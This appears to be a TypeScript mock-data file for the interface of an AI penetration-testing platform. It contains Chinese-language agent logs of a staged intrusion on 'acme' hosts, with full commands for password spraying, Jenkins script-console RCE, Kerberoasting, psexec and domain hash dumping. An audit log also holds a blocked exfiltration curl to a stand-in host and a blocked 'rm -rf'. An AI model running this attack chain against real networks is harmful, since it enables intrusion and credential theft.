intent_id: "i9",
|
||
ts: T("2026-07-25T20:55:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t9a",
|
||
summary: "DC01(10.10.10.10) 88/389/445\nFS01(10.10.10.5) 445\nJENKINS(10.10.10.20) 8080",
|
||
detail: "锁定了域控制器 DC01、文件服务器 FS01、内网 Jenkins。",
|
||
},
|
||
{
|
||
seq: 353,
|
||
worker: "work#9",
|
||
intent_id: "i9",
|
||
ts: T("2026-07-25T21:00:00Z"),
|
||
kind: "result",
|
||
summary: "完成内网主机发现，并将 3 台高价值目标写入图谱。",
|
||
input_tokens: 82000,
|
||
output_tokens: 5100,
|
||
cache_read_tokens: 56000,
|
||
cache_write_tokens: 8000,
|
||
},
|
||
|
||
// work#10 · i10 内网凭据复用（running）
|
||
{
|
||
seq: 360,
|
||
worker: "work#10",
|
||
intent_id: "i10",
|
||
ts: T("2026-07-26T03:42:00Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"源码泄露获得的 sa/Acme@2021 是数据库口令，企业内口令复用很常见。对 DC01/FS01/JENKINS 执行密码喷洒。",
|
||
},
|
||
{
|
||
seq: 361,
|
||
worker: "work#10",
|
||
intent_id: "i10",
|
||
ts: T("2026-07-26T03:44:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t10a",
|
||
summary: "crackmapexec smb 10.10.10.5 10.10.10.10 -u sa -p 'Acme@2021'",
|
||
},
|
||
{
|
||
seq: 362,
|
||
worker: "work#10",
|
||
intent_id: "i10",
|
||
ts: T("2026-07-26T03:44:10Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t10a",
|
||
summary: "FS01 [+] acme.local\\sa:Acme@2021 (Pwn3d!)\nDC01 [-] 认证失败",
|
||
detail: "在 FS01 上成功复用 sa 口令且具备管理员权限。DC01 未连上。",
|
||
},
|
||
{
|
||
seq: 363,
|
||
worker: "work#10",
|
||
intent_id: "i10",
|
||
ts: T("2026-07-26T03:50:00Z"),
|
||
kind: "thinking",
|
||
summary: "已控制 FS01，正在枚举共享目录寻找更多凭据与敏感文件…",
|
||
},
|
||
|
||
// work#11 · i11 Jenkins 未授权 RCE（done）
|
||
{
|
||
seq: 370,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:32:00Z"),
|
||
kind: "thinking",
|
||
summary: "JENKINS 8080 可直接访问，先确认 /script 控制台是否需要认证。",
|
||
},
|
||
{
|
||
seq: 371,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:35:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t11a",
|
||
summary: "curl -s http://10.10.10.20:8080/script -o /dev/null -w '%{http_code}'",
|
||
},
|
||
{
|
||
seq: 372,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:35:02Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t11a",
|
||
summary: "200",
|
||
detail: "Script Console 无需登录即可访问。",
|
||
},
|
||
{
|
||
seq: 373,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:40:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t11b",
|
||
summary: "curl -s -d 'script=println+\"whoami\".execute().text' http://10.10.10.20:8080/scriptText",
|
||
},
|
||
{
|
||
seq: 374,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:40:03Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t11b",
|
||
summary: "nt authority\\system",
|
||
detail: "Groovy 以 SYSTEM 权限执行。",
|
||
},
|
||
{
|
||
seq: 375,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:44:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t11c",
|
||
summary: "curl -s -d 'script=...' http://10.10.10.20:8080/scriptText # 导出 Jenkins 凭据库",
|
||
},
|
||
{
|
||
seq: 376,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:45:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t11c",
|
||
summary: "acme\\svc_deploy : Deploy@Acme2024\nacme\\svc_build : Build#2023!",
|
||
detail: "导出了两个域服务账号的明文口令。",
|
||
},
|
||
{
|
||
seq: 377,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:48:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t11d",
|
||
summary: "report_finding(Unauthenticated RCE, high)",
|
||
},
|
||
{
|
||
seq: 378,
|
||
worker: "work#11",
|
||
intent_id: "i11",
|
||
ts: T("2026-07-25T21:50:00Z"),
|
||
kind: "result",
|
||
summary: "确认 Jenkins 未授权 RCE，并导出了两个域服务账号的凭据。",
|
||
input_tokens: 96000,
|
||
output_tokens: 6200,
|
||
cache_read_tokens: 64000,
|
||
cache_write_tokens: 9500,
|
||
},
|
||
|
||
// work#12 · i12 Kerberoasting（done）
|
||
{
|
||
seq: 380,
|
||
worker: "work#12",
|
||
intent_id: "i12",
|
||
ts: T("2026-07-25T22:42:00Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"用 svc_deploy 凭据进行域认证，并以 GetUserSPNs 请求可 Kerberoast 的服务账号 TGS。",
|
||
},
|
||
{
|
||
seq: 381,
|
||
worker: "work#12",
|
||
intent_id: "i12",
|
||
ts: T("2026-07-25T22:50:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t12a",
|
||
summary: "impacket-GetUserSPNs acme.local/svc_deploy:'Deploy@Acme2024' -dc-ip 10.10.10.10 -request",
|
||
},
|
||
{
|
||
seq: 382,
|
||
worker: "work#12",
|
||
intent_id: "i12",
|
||
ts: T("2026-07-25T22:52:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t12a",
|
||
summary: "svc_sql MSSQLSvc/db01.acme.local:1433 $krb5tgs$23$*svc_sql$...",
|
||
detail: "取得 svc_sql 的 TGS 票据 (Kerberos RC4)。",
|
||
},
|
||
{
|
||
seq: 383,
|
||
worker: "work#12",
|
||
intent_id: "i12",
|
||
ts: T("2026-07-25T23:10:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t12b",
|
||
summary: "hashcat -m 13100 tgs.hash rockyou.txt --force",
|
||
},
|
||
{
|
||
seq: 384,
|
||
worker: "work#12",
|
||
intent_id: "i12",
|
||
ts: T("2026-07-25T23:18:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t12b",
|
||
summary: "$krb5tgs$23$*svc_sql$...:Sql@2020",
|
||
detail: "8 分钟内破解出口令 Sql@2020。",
|
||
},
|
||
{
|
||
seq: 385,
|
||
worker: "work#12",
|
||
intent_id: "i12",
|
||
ts: T("2026-07-25T23:19:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t12c",
|
||
summary: "report_finding(Kerberoasting, high)",
|
||
},
|
||
{
|
||
seq: 386,
|
||
worker: "work#12",
|
||
intent_id: "i12",
|
||
ts: T("2026-07-25T23:20:00Z"),
|
||
kind: "result",
|
||
summary: "通过 Kerberoasting 破解 svc_sql 口令，并写入图谱用于攻击域控制器。",
|
||
input_tokens: 108000,
|
||
output_tokens: 6800,
|
||
cache_read_tokens: 72000,
|
||
cache_write_tokens: 10000,
|
||
},
|
||
|
||
// work#13 · i13 拿下域控 DC01（done，证明 g4）
|
||
{
|
||
seq: 390,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-25T23:52:00Z"),
|
||
kind: "thinking",
|
||
summary:
|
||
"svc_deploy 来自 Jenkins 凭据库，先查询其组成员身份。若属于 Domain Admins 即可直接 psexec 到 DC01。",
|
||
},
|
||
{
|
||
seq: 391,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-25T23:55:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t13a",
|
||
summary: "net rpc group members 'Domain Admins' -U 'acme.local/svc_deploy%Deploy@Acme2024' -S 10.10.10.10",
|
||
},
|
||
{
|
||
seq: 392,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-25T23:55:05Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t13a",
|
||
summary: "ACME\\Administrator\nACME\\svc_deploy",
|
||
detail: "svc_deploy 是 Domain Admins 成员。",
|
||
},
|
||
{
|
||
seq: 393,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-26T00:00:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t13b",
|
||
summary: "impacket-psexec acme.local/svc_deploy:'Deploy@Acme2024'@10.10.10.10",
|
||
},
|
||
{
|
||
seq: 394,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-26T00:00:10Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t13b",
|
||
summary: "C:\\Windows\\system32> whoami\nnt authority\\system",
|
||
detail: "以 SYSTEM 权限登录域控制器 DC01。",
|
||
},
|
||
{
|
||
seq: 395,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-26T00:05:00Z"),
|
||
kind: "tool_use",
|
||
tool: "bash",
|
||
tool_use_id: "t13c",
|
||
summary: "impacket-secretsdump acme.local/svc_deploy:'Deploy@Acme2024'@10.10.10.10 -just-dc",
|
||
},
|
||
{
|
||
seq: 396,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-26T00:10:00Z"),
|
||
kind: "tool_result",
|
||
tool: "bash",
|
||
tool_use_id: "t13c",
|
||
summary: "Administrator:500:aad3b435...::: krbtgt:502:aad3b435...:::",
|
||
detail: "导出了整个域的 NTLM 哈希（含 krbtgt），可制作黄金票据实现持久控制。",
|
||
},
|
||
{
|
||
seq: 397,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-26T00:15:00Z"),
|
||
kind: "tool_use",
|
||
tool: "report_finding",
|
||
tool_use_id: "t13d",
|
||
summary: "report_finding(Domain Compromise, high)",
|
||
},
|
||
{
|
||
seq: 398,
|
||
worker: "work#13",
|
||
intent_id: "i13",
|
||
ts: T("2026-07-26T00:20:00Z"),
|
||
kind: "result",
|
||
summary: "已控制域控制器 DC01，并以 secretsdump 导出整个域哈希，达成目标。",
|
||
input_tokens: 144000,
|
||
output_tokens: 9200,
|
||
cache_read_tokens: 96000,
|
||
cache_write_tokens: 14000,
|
||
},
|
||
|
||
// 主 agent（人在环路对话）
|
||
{
|
||
seq: 70,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-26T03:18:00Z"),
|
||
kind: "user",
|
||
summary: "后台先从哪里下手？",
|
||
},
|
||
{
|
||
seq: 71,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-26T03:18:06Z"),
|
||
kind: "text",
|
||
summary:
|
||
"admin.acme.com 是 Element-UI 后台，既无验证码也无限速。建议先跑默认口令列表(admin/admin123)，再转入字典攻击。已向 worker agent 注入一个高优先级意图。",
|
||
},
|
||
{
|
||
seq: 72,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-26T03:52:00Z"),
|
||
kind: "user",
|
||
summary: "后台已拿下，接下来聚焦哪里？",
|
||
},
|
||
{
|
||
seq: 73,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-26T03:52:08Z"),
|
||
kind: "text",
|
||
summary:
|
||
"目标 ② 是读取用户敏感数据。并行推进「枚举后台用户端点」与「API IDOR」。批量导出会触发拦截规则，需要您审批放行。",
|
||
},
|
||
{
|
||
seq: 400,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T15:42:00Z"),
|
||
kind: "user",
|
||
summary: "shell 已拿到，接下来怎么打？",
|
||
},
|
||
{
|
||
seq: 401,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T15:42:10Z"),
|
||
kind: "text",
|
||
summary:
|
||
"www-data 权限不足，先提权（sudo -l 看起来有机会）。拿下 root 后以 DMZ 为跳板发现内网，优先域控制器与 Jenkins。",
|
||
},
|
||
{
|
||
seq: 402,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T21:22:00Z"),
|
||
kind: "user",
|
||
summary: "内网扫描完了。Jenkins 那台主机好像未授权？",
|
||
},
|
||
{
|
||
seq: 403,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-25T21:22:08Z"),
|
||
kind: "text",
|
||
summary:
|
||
"没错。/script 无需认证即可直达 Groovy RCE。已注入一条提示让 worker 优先攻击 Jenkins。拿下后可导出域凭据，接着用 Kerberoasting 攻击域控制器。",
|
||
},
|
||
{
|
||
seq: 404,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-26T00:22:00Z"),
|
||
kind: "user",
|
||
summary: "DC01 拿下了吗？给我总结一下。",
|
||
},
|
||
{
|
||
seq: 405,
|
||
worker: "mainagent",
|
||
ts: T("2026-07-26T00:22:12Z"),
|
||
kind: "text",
|
||
summary:
|
||
"已确认控制。攻击路径如下：shop Fastjson RCE → DMZ 提权 → 内网 Jenkins 导出域凭据 → svc_deploy 属于 Domain Admins → psexec DC01 SYSTEM → secretsdump 导出整个域哈希。四个目标均已达成或进行中。",
|
||
},
|
||
];
|
||
|
||
export function activityForTask(): Activity[] {
|
||
return activity;
|
||
}
|
||
|
||
// ── Token stats ──────────────────────────────────────────────────────────────
|
||
export const tokenWorkers: TokenUsage[] = [
|
||
{
|
||
worker: "planner",
|
||
input_tokens: 320000,
|
||
output_tokens: 24000,
|
||
cache_read_tokens: 210000,
|
||
cache_write_tokens: 33000,
|
||
},
|
||
{
|
||
worker: "work#1",
|
||
input_tokens: 288000,
|
||
output_tokens: 21000,
|
||
cache_read_tokens: 190000,
|
||
cache_write_tokens: 28000,
|
||
},
|
||
{
|
||
worker: "work#2",
|
||
input_tokens: 402000,
|
||
output_tokens: 31000,
|
||
cache_read_tokens: 280000,
|
||
cache_write_tokens: 41000,
|
||
},
|
||
{
|
||
worker: "work#3",
|
||
input_tokens: 274500,
|
||
output_tokens: 20320,
|
||
cache_read_tokens: 210400,
|
||
cache_write_tokens: 30000,
|
||
},
|
||
{ worker: "workG", input_tokens: 88000, output_tokens: 5200, cache_read_tokens: 60000, cache_write_tokens: 8000 },
|
||
{ worker: "work#6", input_tokens: 64000, output_tokens: 4100, cache_read_tokens: 42000, cache_write_tokens: 6000 },
|
||
{ worker: "work#7", input_tokens: 132000, output_tokens: 8600, cache_read_tokens: 90000, cache_write_tokens: 12000 },
|
||
{ worker: "work#8", input_tokens: 74000, output_tokens: 4700, cache_read_tokens: 50000, cache_write_tokens: 7000 },
|
||
{ worker: "work#9", input_tokens: 82000, output_tokens: 5100, cache_read_tokens: 56000, cache_write_tokens: 8000 },
|
||
{ worker: "work#10", input_tokens: 46000, output_tokens: 3200, cache_read_tokens: 30000, cache_write_tokens: 4500 },
|
||
{ worker: "work#11", input_tokens: 96000, output_tokens: 6200, cache_read_tokens: 64000, cache_write_tokens: 9500 },
|
||
{ worker: "work#12", input_tokens: 108000, output_tokens: 6800, cache_read_tokens: 72000, cache_write_tokens: 10000 },
|
||
{ worker: "work#13", input_tokens: 144000, output_tokens: 9200, cache_read_tokens: 96000, cache_write_tokens: 14000 },
|
||
];
|
||
|
||
// Mirrors TokenStatsBySession: completed usage is keyed by the stable UI session
|
||
// (main | plan | intent:<id>) instead of the reusable work#N executor name.
|
||
export const tokenSessions: SessionTokenUsage[] = (() => {
|
||
const totals = new Map<string, SessionTokenUsage>();
|
||
for (const item of activity) {
|
||
if (item.kind !== "result") continue;
|
||
let session = "";
|
||
if (item.worker === "mainagent") session = "main";
|
||
else if (item.worker === "planner") session = "plan";
|
||
else if (item.intent_id) session = `intent:${item.intent_id}`;
|
||
if (!session) continue;
|
||
const current = totals.get(session) ?? {
|
||
session,
|
||
input_tokens: 0,
|
||
output_tokens: 0,
|
||
cache_read_tokens: 0,
|
||
cache_write_tokens: 0,
|
||
};
|
||
current.input_tokens += item.input_tokens ?? 0;
|
||
current.output_tokens += item.output_tokens ?? 0;
|
||
current.cache_read_tokens += item.cache_read_tokens ?? 0;
|
||
current.cache_write_tokens += item.cache_write_tokens ?? 0;
|
||
totals.set(session, current);
|
||
}
|
||
return [...totals.values()];
|
||
})();
|
||
|
||
export const tokenTotal: TokenTotal = grandTotal;
|
||
|
||
export const dailyTokens: DailyTokenBucket[] = Array.from({ length: 30 }, (_, i) => {
|
||
const d = new Date("2026-07-26T00:00:00Z");
|
||
d.setUTCDate(d.getUTCDate() - (29 - i));
|
||
const wave = 40000 + Math.round(30000 * Math.abs(Math.sin(i / 3)));
|
||
return {
|
||
date: d.toISOString().slice(0, 10),
|
||
input_tokens: wave,
|
||
output_tokens: Math.round(wave * 0.08),
|
||
cache_read_tokens: Math.round(wave * 0.7),
|
||
cache_write_tokens: Math.round(wave * 0.12),
|
||
};
|
||
});
|
||
|
||
export const convTokens: ConvTokenSummary[] = [
|
||
{
|
||
llm_profile_id: 1,
|
||
created_at: T("2026-07-25T10:00:00Z"),
|
||
input_tokens: 42000,
|
||
output_tokens: 3800,
|
||
cache_read_tokens: 26000,
|
||
cache_write_tokens: 5200,
|
||
},
|
||
{
|
||
llm_profile_id: 2,
|
||
created_at: T("2026-07-24T16:00:00Z"),
|
||
input_tokens: 18000,
|
||
output_tokens: 1600,
|
||
cache_read_tokens: 9000,
|
||
cache_write_tokens: 2100,
|
||
},
|
||
];
|
||
|
||
// ── Traffic ──────────────────────────────────────────────────────────────────
|
||
const exchanges = [
|
||
["x-1", "www.acme.com", "GET", "https://www.acme.com/", 200, "text/html", 48213],
|
||
["x-2", "www.acme.com", "GET", "https://www.acme.com/search?q=test", 200, "text/html", 5120],
|
||
["x-3", "www.acme.com", "GET", "https://www.acme.com/.git/HEAD", 200, "text/plain", 23],
|
||
["x-4", "admin.acme.com", "GET", "https://admin.acme.com/login", 200, "text/html", 12044],
|
||
["x-5", "admin.acme.com", "POST", "https://admin.acme.com/login", 302, "text/html", 0],
|
||
["x-6", "admin.acme.com", "GET", "https://admin.acme.com/dashboard", 200, "text/html", 33120],
|
||
["x-7", "admin.acme.com", "GET", "https://admin.acme.com/api/users?page=1", 200, "application/json", 8842],
|
||
["x-8", "api.acme.com", "GET", "https://api.acme.com/v1/orders?id=1001", 200, "application/json", 640],
|
||
["x-9", "api.acme.com", "GET", "https://api.acme.com/v1/orders?id=1002", 200, "application/json", 655],
|
||
["x-10", "api.acme.com", "GET", "https://api.acme.com/v1/users/me", 200, "application/json", 312],
|
||
["x-11", "api.acme.com", "GET", "https://api.acme.com/v1/admin", 401, "application/json", 45],
|
||
["x-12", "shop.acme.com", "GET", "https://shop.acme.com/checkout", 200, "text/html", 21990],
|
||
["x-13", "shop.acme.com", "POST", "https://shop.acme.com/pay", 200, "application/json", 128],
|
||
["x-14", "www.acme.com", "GET", "https://www.acme.com/robots.txt", 200, "text/plain", 88],
|
||
["x-15", "shop.acme.com", "POST", "https://shop.acme.com/api/import", 500, "application/json", 2048],
|
||
["x-16", "shop.acme.com", "POST", "https://shop.acme.com/api/import", 200, "application/json", 0],
|
||
["x-17", "10.10.10.20", "GET", "http://10.10.10.20:8080/script", 200, "text/html", 14200],
|
||
["x-18", "10.10.10.20", "POST", "http://10.10.10.20:8080/scriptText", 200, "text/plain", 86],
|
||
["x-19", "10.10.10.10", "POST", "https://10.10.10.10:445/psexec", 200, "application/octet-stream", 0],
|
||
] as const;
|
||
|
||
export const traffic: TrafficResp = {
|
||
enabled: true,
|
||
proxy: ":8788",
|
||
count: exchanges.length,
|
||
total: exchanges.length,
|
||
page: 0,
|
||
size: 100,
|
||
exchanges: exchanges.map(([id, host, method, url, status, ct, len], i) => ({
|
||
id,
|
||
host,
|
||
method,
|
||
url,
|
||
status,
|
||
content_type: ct,
|
||
resp_len: len,
|
||
ts: T(`2026-07-26T0${1 + (i % 3)}:${String(10 + i).padStart(2, "0")}:00Z`),
|
||
})),
|
||
};
|
||
|
||
// Distinct hosts with counts, derived from the exchanges above (target picker).
|
||
const hostCounts: Record<string, number> = {};
|
||
for (const [, host] of exchanges) hostCounts[host] = (hostCounts[host] ?? 0) + 1;
|
||
export const trafficHosts: TrafficHost[] = Object.entries(hostCounts).map(([host, count]) => ({ host, count }));
|
||
|
||
export const trafficDetail: TrafficDetail = {
|
||
req: `GET /v1/orders?id=1002 HTTP/1.1
|
||
Host: api.acme.com
|
||
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
|
||
User-Agent: ARTEX-worker/1.0
|
||
Accept: application/json
|
||
|
||
`,
|
||
resp: `HTTP/1.1 200 OK\nContent-Type: application/json\nContent-Length: 655\n\n{\n "order_id": 1002,\n "user_id": 77,\n "amount": 1299.00,\n "address": "北京市朝阳区 ****",\n "phone": "138****6021",\n "items": [{ "sku": "A-100", "qty": 1 }]\n}`,
|
||
};
|
||
|
||
// ── Security / Audit ─────────────────────────────────────────────────────────
|
||
export const audit: Audit = {
|
||
attributions: { allow: 312, block: 9 },
|
||
entries: [
|
||
{
|
||
ts: T("2026-07-26T03:33:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command: "curl -s -d 'username=admin...' https://admin.acme.com/login",
|
||
},
|
||
{
|
||
ts: T("2026-07-26T03:57:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command: "curl -s -b 'session=...' https://admin.acme.com/api/users",
|
||
},
|
||
{
|
||
ts: T("2026-07-26T02:10:00Z"),
|
||
tool: "bash",
|
||
action: "block",
|
||
reason: "目标范围越界：out.evil.example 不在范围内",
|
||
command: "curl https://out.evil.example/exfil",
|
||
},
|
||
{
|
||
ts: T("2026-07-25T22:03:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command: "sqlmap -u 'https://www.acme.com/search?q=1' --batch",
|
||
},
|
||
{
|
||
ts: T("2026-07-25T21:00:00Z"),
|
||
tool: "bash",
|
||
action: "block",
|
||
reason: "破坏性命令拦截：rm -rf 被拒绝",
|
||
command: "rm -rf /var/www",
|
||
},
|
||
{
|
||
ts: T("2026-07-25T20:30:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command: "git-dumper https://www.acme.com/.git/ /tmp/acme",
|
||
},
|
||
{
|
||
ts: T("2026-07-25T15:20:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command:
|
||
"curl -s -H 'Content-Type: application/json' -d '{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"...}' https://shop.acme.com/api/import",
|
||
},
|
||
{
|
||
ts: T("2026-07-25T21:40:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command: "curl -s -d 'script=println+\"whoami\"...' http://10.10.10.20:8080/scriptText",
|
||
},
|
||
{
|
||
ts: T("2026-07-26T00:00:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command: "impacket-psexec acme.local/svc_deploy@10.10.10.10",
|
||
},
|
||
{
|
||
ts: T("2026-07-26T00:05:00Z"),
|
||
tool: "bash",
|
||
action: "block",
|
||
reason: "数据泄露拦截：secretsdump 需人工审批",
|
||
command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc",
|
||
},
|
||
{
|
||
ts: T("2026-07-26T00:06:00Z"),
|
||
tool: "bash",
|
||
action: "allow",
|
||
command: "impacket-secretsdump acme.local/svc_deploy@10.10.10.10 -just-dc # 审批后放行",
|
||
},
|
||
],
|
||
};
|
||
|
||
// ── LLM profiles ─────────────────────────────────────────────────────────────
|
||
export const llmProfiles: LLMProfile[] = [
|
||
{
|
||
id: "1",
|
||
name: "Claude Opus 4.8",
|
||
format: "anthropic",
|
||
model: "claude-opus-4-8",
|
||
api_key_hint: "…a3f2",
|
||
rate_per_second: 0,
|
||
rate_per_minute: 0,
|
||
context_window_k: 1000,
|
||
thinking_type: "enabled",
|
||
reasoning_effort: "high",
|
||
is_default: true,
|
||
priority: 0,
|
||
pool_exclude: false,
|
||
// anthropic 的字段名固定，故 max_tokens_field 恒为空。
|
||
max_tokens: 0,
|
||
max_tokens_field: "",
|
||
},
|
||
{
|
||
id: "2",
|
||
name: "DeepSeek V4",
|
||
format: "openai",
|
||
base_url: "https://api.deepseek.com",
|
||
model: "deepseek-v4-flash",
|
||
api_key_hint: "…9c11",
|
||
rate_per_second: 0,
|
||
rate_per_minute: 60,
|
||
context_window_k: 128,
|
||
thinking_type: "",
|
||
reasoning_effort: "",
|
||
is_default: false,
|
||
priority: 10,
|
||
pool_exclude: false,
|
||
// openai 格式 + 推理模型：上限走 max_completion_tokens。
|
||
max_tokens: 8192,
|
||
max_tokens_field: "max_completion_tokens",
|
||
},
|
||
];
|
||
|
||
export const llmConfig = {
|
||
configured: true,
|
||
provider: "anthropic",
|
||
model: "claude-opus-4-8",
|
||
base_url: "",
|
||
proxy: "",
|
||
key_set: true,
|
||
rate_per_second: 0,
|
||
rate_per_minute: 0,
|
||
context_window_k: 1000,
|
||
thinking_type: "enabled",
|
||
reasoning_effort: "high",
|
||
};
|
||
|
||
// ── Agents ───────────────────────────────────────────────────────────────────
|
||
export const agents: Agent[] = [
|
||
{
|
||
id: "1001",
|
||
key: "retester",
|
||
name: "漏洞复测",
|
||
role: "assistant",
|
||
builtin: false,
|
||
enabled: true,
|
||
description: "从漏洞详情手动发起，保存独立的复测结论。",
|
||
max_turns: 0,
|
||
mcp_count: 0,
|
||
skill_count: 0,
|
||
tool_count: 2,
|
||
},
|
||
{
|
||
id: "1",
|
||
key: "goals",
|
||
name: "目标拆解器",
|
||
role: "goals",
|
||
builtin: true,
|
||
enabled: true,
|
||
description: "将任务目标拆解为可探索的子目标。",
|
||
max_turns: 8,
|
||
mcp_count: 0,
|
||
skill_count: 1,
|
||
tool_count: 3,
|
||
},
|
||
{
|
||
id: "2",
|
||
key: "planner",
|
||
name: "规划器",
|
||
role: "planner",
|
||
builtin: true,
|
||
enabled: true,
|
||
description: "阅读探索路径，判断目标达成情况，并生成意图。",
|
||
max_turns: 0,
|
||
mcp_count: 1,
|
||
skill_count: 2,
|
||
tool_count: 9,
|
||
},
|
||
{
|
||
id: "3",
|
||
key: "mainagent",
|
||
name: "主 Agent",
|
||
role: "mainagent",
|
||
builtin: true,
|
||
enabled: true,
|
||
description: "以人工介入的对话注入 hint 与高优先级意图。",
|
||
max_turns: 0,
|
||
web_search: true,
|
||
mcp_count: 2,
|
||
skill_count: 3,
|
||
tool_count: 11,
|
||
},
|
||
{
|
||
id: "4",
|
||
key: "worker",
|
||
name: "Work Agent",
|
||
role: "worker",
|
||
builtin: true,
|
||
enabled: true,
|
||
description: "意图 claim → 执行 Kali 工具 → 回写图谱",
|
||
max_turns: 40,
|
||
run_seconds: 1800,
|
||
web_search: false,
|
||
interactive_shell: true,
|
||
mcp_count: 2,
|
||
skill_count: 3,
|
||
tool_count: 14,
|
||
},
|
||
{
|
||
id: "5",
|
||
key: "recon-bot",
|
||
name: "侦察机器人（自定义）",
|
||
role: "custom",
|
||
builtin: false,
|
||
enabled: true,
|
||
description: "对新资产定期执行被动侦察。",
|
||
max_turns: 12,
|
||
mcp_count: 1,
|
||
skill_count: 1,
|
||
tool_count: 4,
|
||
},
|
||
];
|
||
|
||
const promptVars: PromptVar[] = [
|
||
{ name: "Goal", description: "当前任务目标", example: "获取 acme.com 管理员后台权限", source: "runtime" },
|
||
{
|
||
name: "AssetSummary",
|
||
description: "资产图谱概览",
|
||
example: "子域名 6 个 / IP 3 个 / 应用 4 个 / 端点 4 个",
|
||
source: "distilled",
|
||
},
|
||
{
|
||
name: "RouteHint",
|
||
description: "探索路径提示",
|
||
example: "优先攻击后台与 API 权限绕过面",
|
||
source: "exploration",
|
||
},
|
||
];
|
||
|
||
const promptVersions: PromptVersion[] = [
|
||
{
|
||
version: 3,
|
||
ts: T("2026-07-25T10:00:00Z"),
|
||
note: "强化权限绕过检测引导",
|
||
template_text: "你是 ARTEX 的规划者……",
|
||
},
|
||
{
|
||
version: 2,
|
||
ts: T("2026-07-20T10:00:00Z"),
|
||
note: "初始版本微调",
|
||
template_text: "你是 ARTEX 的规划者(v2)……",
|
||
},
|
||
];
|
||
|
||
export function agentDetail(key: string): AgentDetail {
|
||
const a = agents.find((x) => x.key === key) ?? agents[1];
|
||
return {
|
||
agent: a,
|
||
prompt: `你是 ARTEX 的「${a.name}」。\n目标：{{.Goal}}\n资产概览：{{.AssetSummary}}\n路线提示：{{.RouteHint}}\n请基于以上信息推进探索，并通过工具把结果写回图。`,
|
||
variables: promptVars,
|
||
versions: promptVersions,
|
||
visibility: { mcp: [1, 2], skill: ["api-recon", "playwright-cli"] },
|
||
wrapup_prompt: "",
|
||
wrapup_default: "时间·阶段预算即将耗尽。请总结已确认的发现，并将意图标记为终止状态。",
|
||
wrapup_max_turns: 0,
|
||
wrapup_max_turns_default: 3,
|
||
task_timeout_wrapup_supported: a.key === "worker" || a.key === "planner",
|
||
task_timeout_wrapup_default: "任务已超时。请立即收尾并保存当前结论。",
|
||
task_timeout_wrapup_max_turns_default: 2,
|
||
};
|
||
}
|
||
|
||
// ── MCP ──────────────────────────────────────────────────────────────────────
|
||
export const mcpServers: MCPServer[] = [
|
||
{
|
||
id: 1,
|
||
name: "shodan",
|
||
transport: "http",
|
||
url: "https://mcp.shodan.io/sse",
|
||
args: [],
|
||
